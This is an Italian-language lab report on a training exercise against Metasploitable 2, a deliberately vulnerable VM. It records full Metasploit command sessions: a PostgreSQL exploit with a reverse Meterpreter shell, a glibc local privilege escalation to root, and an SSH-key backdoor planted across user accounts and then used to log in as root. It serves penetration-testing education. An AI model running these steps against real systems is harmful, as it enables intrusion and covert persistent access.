

# Exploiting PostgreSQL e Privilege Escalation su Metasploitable 2

## 1. Introduzione e Scopo dell'Attività

L'obiettivo di questa sessione è simulare un attacco completo su un sistema Linux vulnerabile la Metasploitable 2, per comprendere le criticità legate alla misconfigurazione dei servizi database e alla mancata applicazione di patch di sicurezza. Nello specifico l'esercizio richiede di ottenere l'accesso iniziale tramite il servizio PostgreSQL, elevare i privilegi a root e infine stabilire una backdoor per la persistenza.

Sebbene Metasploitable 2 presenti numerosi vettori d'attacco (come *Telnet*, *SMB*, *Java\_RMI* e vulnerabilità gestibili da *Windows*) questa relazione si concentrerà specificamente sul vettore indicato nell'esercizio giornaliero: il database PostgreSQL e la successiva escalation locale.

## 2. Strumenti Utilizzati

Per condurre l'analisi ho utilizzato la suite Metasploit Framework (msfconsole).

- **Modulo Exploit:** exploit/linux/postgres/postgres\_payload (per l'accesso iniziale).
- **Payload:** linux/x86/meterpreter/reverse\_tcp (per la gestione della sessione remota).
- **Moduli Post-Exploitation:** post/multi/recon/local\_exploit\_suggester (per l'analisi delle vulnerabilità locali e moduli di persistenza).

## Accesso Iniziale (Exploitation)

Dopo aver avviato le macchine virtuali e verificato la connettività (tramite un ping verso l'IP di Metasploitable 2) ho aperto il terminale su Kali Linux e avviato Metasploit.

**Ping:**

```
(kali㉿kali)-[~]
$ ping -c4 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=2.56 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.310 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=0.249 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=0.232 ms

--- 192.168.50.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.232/0.837/2.559/0.994 ms
```

## Comando:

```
(kali㉿kali)-[~]
$ msfconsole
```

Una volta caricata la console ho proceduto alla selezione dell'exploit specifico richiesto dall'esercizio. Questo modulo sfrutta una debolezza nella configurazione di PostgreSQL che permette a un utente autenticato di caricare ed eseguire librerie condivise arbitrarie.

## Passaggi eseguiti:

### 1. Selezione del modulo:

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) >
```

### 2. Osservazione delle options:

```

msf exploit(linux/postgres/postgres_payload) >options
Module options (exploit/linux/postgres/postgres_payload):
Name      Current Setting  Required  Description
VERBOSE   false           no        Enable verbose output

Used when connecting via an existing SESSION:
Name      Current Setting  Required  Description
SESSION          no           no        The session to run this module on

Used when making a new connection via RHOSTS:
Name      Current Setting  Required  Description
DATABASE  postgres         no        The database to authenticate against
PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password
RHOSTS                no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432            no        The target port (TCP)
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST          yes          yes       The listen address (an interface may be specified)
LPORT          4444         yes       The listen port

Exploit target:
Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

```

**3. Configurazione del target (RHOSTS):** Ho impostato l'indirizzo IP della macchina vittima.

```

msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101

```

**4. Configurazione del payload (LHOST):** Ho impostato l'IP della mia macchina attaccante (Kali) per ricevere la connessione inversa.

```

msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100

```

**4. Esecuzione dell'attacco:** Ho lanciato l'exploit.

```

msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/XwLomBUJ.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.101:54546) at 2026-01-21 11:30:49 -0500

```

Il sistema ha restituito con successo una sessione Meterpreter. Questo

significa che ho il controllo remoto ma sono limitato ai permessi dell'utente che esegue il database (solitamente postgres).

### 3.Escalation dei Privilegi

Ottenuta la sessione il passo successivo richiesto è passare da utente limitato a root. Per prima cosa ho verificato la mia identità attuale come richiesto.

**Comando nella sessione Meterpreter:**

```
meterpreter > getuid  
Server username: postgres
```

Per eseguire l'escalation utilizzando solo i mezzi forniti da msfconsole, ho deciso di mettere in background la sessione attuale e utilizzare un modulo di ricognizione automatica.

**Passaggi eseguiti:**

1. Metto la sessione in background:

```
meterpreter > background  
[*] Backgrounding session 1 ...  
msf exploit(linux/postgres/postgres_payload) > █
```

### Analisi ed Escalation dei Privilegi

Identificare vulnerabilità locali. Invece di tirare a indovinare, ho usato il modulo local\_exploit\_suggester.

**Ricerca Vulnerabilità:**

1. **Selezione del modulo Post:**

```
msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester  
msf post(multi/recon/local_exploit_suggester) > █
```

2. **Configurazione:** Ho collegato il modulo alla sessione ottenuta in precedenza.

```

msf post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
  Name      Current Setting  Required  Description
  ____  _____
  SESSION          yes        yes       The session to run this module on
  SHOWDESCRIPTION   false      yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > 

```

```

msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.101 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous
definition of WhoamiOid was here
[*] 192.168.50.101 - 229 exploit checks are being tried...
[+] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be valida
ted.
[+] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.50.101 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg i
s installed, possible desktop install.
[+] 192.168.50.101 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no c
ron.deny entries found
[+] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:

```

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc to be vulnerable.	Yes	The target appears
2	exploit/linux/local/glibc_origin_expansion_priv_esc to be vulnerable.	Yes	The target appears
3	exploit/linux/local/netfilter_priv_esc_ipv4 to be vulnerable.	Yes	The target appears
4	exploit/linux/local/ptrace_sudo_token_priv_esc ing, but could not be validated.	Yes	The service is runn
5	exploit/linux/local/su_login to be vulnerable.	Yes	The target appears
6	exploit/linux/persistence/autostart ing, but could not be validated. Xorg is installed, possible desktop install.	Yes	The service is runn
7	exploit/multi/persistence/cron to be vulnerable. Cron timing is valid, no cron.deny entries found	Yes	The target appears
8	exploit/unix/local/setuid_nmap rable. /usr/bin/nmap is setuid	Yes	The target is vulne

Il modulo ha identificato diverse vulnerabilità nel kernel Linux di Metasploitable 2.

Basandomi sui risultati, ho scelto l'exploit `glibc_ld_audit_dso_load_priv_esc`, che sfrutta un difetto nel caricamento degli oggetti condivisi dinamici per ottenere privilegi elevati.

## 1. Caricamento dell'exploit:

```

msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

Name          Current Setting  Required  Description
--            --              --          --
SESSION        yes           yes        The session to run this module on
SUID_EXECUTABLE /bin/ping    yes        Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--            --              --          --
LHOST     192.168.50.100   yes        The listen address (an interface may be specified)
LPORT     4444             yes        The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

```

## 2. Configurazione della sessione vittima (la sessione postgres):

```

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > 

```

## 3. Esecuzione:

All'inizio ho riscontrato un problema dove l'Exploit viene completato ma non si creava la sessione, quindi ho controllato l'indirizzo IP della Kali ed era corretto. Ho pensato solo ad un altro problema cioè il payload che era impostato a x64 e Metasploitable 2 è un sistema a 32-bit (x86), quindi se si sta provando a usare un payload a 64-bit per default fallirà.

```

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
  Name          Current Setting  Required  Description
  --            --              --         --
  SESSION        1              yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping    yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --          --              --         --
  LHOST    192.168.50.100   yes       The listen address (an interface may be specified)
  LPORT    4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LPORT 4445
LPORT => 4445
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.100:4445
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.Q8YCHyQG' (1271 bytes) ...
[*] Writing '/tmp/.wOGXL1U5m3' (286 bytes) ...
[*] Writing '/tmp/.rcH8txf2' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4445 -> 192.168.50.101:59436) at 2026-01-21 12:07:12 -0500

meterpreter > getuid
Server username: root
meterpreter >

```

Il sistema ha aperto una nuova sessione. Ho verificato immediatamente i privilegi e sono risultato root.

## 4. Esercizio Bonus: Backdoor e Persistenza

Con i privilegi di root acquisiti l'ultimo step richiesto dall'esercizio bonus era installare una backdoor per rientrare nel sistema in futuro senza dover rifare l'exploit.

Ho scelto di installare una chiave SSH malevola, un metodo silenzioso e persistente.

1. Ho messo in background la sessione di root (presumibilmente Session 2):

```

meterpreter > background
[*] Backgrounding session 2 ...
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) >

```

2. Ho selezionato il modulo di persistenza SSH:

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > use post/linux/manage/sshkey_persistence
msf post(linux/manage/sshkey_persistence) > █
```

3. L'ho configurato per agire sulla sessione di root e creare la cartella necessaria se mancante:

```
msf post(linux/manage/sshkey_persistence) > options
Module options (post/linux/manage/sshkey_persistence):
Name          Current Setting      Required  Description
---          ---                  ---        ---
CREATESSHFOLDER  false           yes        If no .ssh folder is found, create it for a user
PUBKEY         no                no        Public Key File to use. (Default: Create a new one)
SESSION         SESSION           yes        The session to run this module on
SSHD_CONFIG     /etc/ssh/sshd_config  yes        sshd_config file
USERNAME        no                no        User to add SSH key to (Default: all users on box)
```

View the full module info with the `info`, or `info -d` command.

```
msf post(linux/manage/sshkey_persistence) > set SESSION 2
SESSION => 2
msf post(linux/manage/sshkey_persistence) > set CREATESSHFOLDER true
CREATESSHFOLDER => true
msf post(linux/manage/sshkey_persistence) > options
Module options (post/linux/manage/sshkey_persistence):
Name          Current Setting      Required  Description
---          ---                  ---        ---
CREATESSHFOLDER  true           yes        If no .ssh folder is found, create it for a user
PUBKEY         no                no        Public Key File to use. (Default: Create a new one)
SESSION         2                yes        The session to run this module on
SSHD_CONFIG     /etc/ssh/sshd_config  yes        sshd_config file
USERNAME        no                no        User to add SSH key to (Default: all users on box)
```

View the full module info with the `info`, or `info -d` command.

```
msf post(linux/manage/sshkey_persistence) > 
```

```

msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorizing Keys File: .ssh/authorized_keys
[*] Finding ssh services
[*] Creating /bin/.ssh folder
[*] Creating /dev/.ssh folder
[*] Creating /home/ftp/.ssh folder
[*] Creating /home/ftp
[*] Creating /home/klog/.ssh folder
[*] Creating /home/msfadmin
[*] Creating /home/service
[*] Creating /home/service/.ssh folder
[*] Creating /home/syslog/.ssh folder
[*] Creating /nonexistent/.ssh folder
[*] Creating /var/cache/.ssh folder
[*] Creating /usr/sbin/.ssh folder
[*] Creating /usr/share/tomcat5/.ssh folder
[*] Creating /var/backups/.ssh folder
[*] Creating /var/cache/bind/.ssh folder
[*] Creating /var/lib/gnats/.ssh folder
[*] Creating /var/lib/libuuid/.ssh folder
[*] Creating /var/lib/mysql/.ssh folder
[*] Creating /var/run/ircd/.ssh folder
[*] Creating /var/lib/postgresql/.ssh folder
[*] Creating /var/list/.ssh folder
[*] Creating /var/mail/.ssh folder
[*] Creating /var/run/ipro/.ssh folder
[*] Creating /var/run/proftpd/.ssh folder
[*] Creating /var/run/sshd/.ssh folder
[*] Creating /var/spool/lpd/.ssh folder
[*] Creating /var/spool/news/.ssh folder
[*] Creating /var/spool/postfix/.ssh folder
[*] Creating /var/www/.ssh folder
[*] Storing new private key as /home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt
[*] Adding key to //ssh/authorized_keys
[*] Key Added
[*] Adding key to /bin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /dev/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/ftp/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/klog/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/service/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/syslog/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/user/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /nonexistent/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /root/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /usr/games/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /usr/sbin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /usr/share/tomcat5.5/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/backups/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/cache/bind/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/cache/man/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/lib/gnats/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/lib/libuuid/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/lib/mysql/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/lib/nfs/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/lib/postgresql/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/list/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/mail/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/run/ircd/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/run/proftpd/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/run/sshd/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/spool/lpd/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/spool/news/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/spool/postfix/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/spool/uucp/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /var/www/.ssh/authorized_keys
[*] Key Added
[*] Post module execution completed
[*] msf post(linux/manage/sshkey_persistence) >

```

Il modulo ha generato una chiave SSH e l'ha salvata sulla mia Kali all'interno della cartella "loot".

## Verifica Finale e Troubleshooting SSH (Accesso tramite Backdoor)

Durante il test della backdoor ho riscontrato due blocchi di sicurezza imposti dal client SSH moderno di Kali Linux:

- 1. Protocolli Obsoleti:** Il server target Metasploitable utilizzava algoritmi di scambio chiavi deprecati (ssh-rsa).

**2. Permessi Chiave:** Il file della chiave privata generato da Metasploit aveva permessi troppo permissivi (0664) causando così il rifiuto del client di utilizzarla ("Unprotected private key file").

```
(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt
root@192.168.50.101
The authenticity of host '192.168.50.101' (192.168.50.101) can't be established.
RSA key fingerprint is: SHA256:BOQHm5eOHX9GCIoLUVscgPXLQSuPs+E9d/rrJ884rk
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.101' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openSSH.com/pq.html
oooooooooooooooooooooooooooooooooooooooooooooooooooo
@       WARNING: UNPROTECTED PRIVATE KEY FILE! @
oooooooooooooooooooooooooooooooooooooooooooooooooooo
Permissions 0664 for '/home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt": bad permissions
root@192.168.50.101's password:
Permission denied, please try again.
root@192.168.50.101's password:
Permission denied, please try again.
root@192.168.50.101's password:
root@192.168.50.101: Permission denied (publickey,password).

```

Attiva Windows

Ho corretto i permessi del file restringendoli al solo proprietario e ho forzato la negoziazione degli algoritmi legacy nel comando di connessione:

```
(kali㉿kali)-[~]
$ chmod 600 /home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt

```

  

```
(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121122023_default_192.168.50.101_id_rsa_241553.txt
root@192.168.50.101
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openSSH.com/pq.html
Last login: Wed Jan 21 10:05:46 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/<program>/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# ls -l
total 12
drwxr-xr-x 2 root root 4096 2012-05-20 15:08 Desktop
-rw-r--r-- 1 root root 401 2012-05-20 15:55 reset_logs.sh
-rw-r--r-- 1 root root 138 2026-01-21 10:05 vnc.log
root@metasploitable:~# ls
Desktop  reset_logs.sh  vnc.log
root@metasploitable:~# whoami
root
root@metasploitable:~# 
```

Attiva Windows  
Passa a Impostazioni per attivare Windows.

Grazie a questa configurazione l'accesso come **root** è avvenuto con successo senza inserimento di password confermando la piena compromissione del sistema e la funzionalità della backdoor.

## 5. Conclusione Finale

L'esercizio ha simulato uno scenario realistico di compromissione "End-to-End". Partendo da un servizio database mal configurato (PostgreSQL), siamo passati all'escalation dei privilegi sfruttando una vulnerabilità critica del sistema (GLIBC/Nmap) e abbiamo infine stabilito una persistenza

stabile. La fase finale ha offerto un importante spunto educativo, la sicurezza offensiva richiede non solo la conoscenza degli exploit, ma anche una solida padronanza dell'amministrazione di sistema (gestione dei permessi chmod, protocolli SSH) per interagire efficacemente con le macchine compromesse e superare le difese dei moderni strumenti di sicurezza.